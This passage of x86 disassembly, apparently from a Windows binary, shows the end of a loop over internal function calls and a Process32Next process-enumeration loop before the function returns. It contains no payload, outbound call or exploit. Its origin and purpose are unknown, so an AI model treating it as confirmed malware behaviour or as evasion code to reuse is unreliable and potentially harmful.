pop edx
call fcn.0048b828
lea eax, [ebp - 0x18]
call fcn.00401b08
push eax
call fcn.00401d8c
pop ecx
dec dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0x20]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a46c0
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x183
jl 0x410a59
mov dword [ebp - 0x174], 0x128
lea ecx, [ebp - 0x174]
push ecx
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x410a54
push dword [ebp - 0x40]
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
mov edx, dword [ebp - 0x3c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret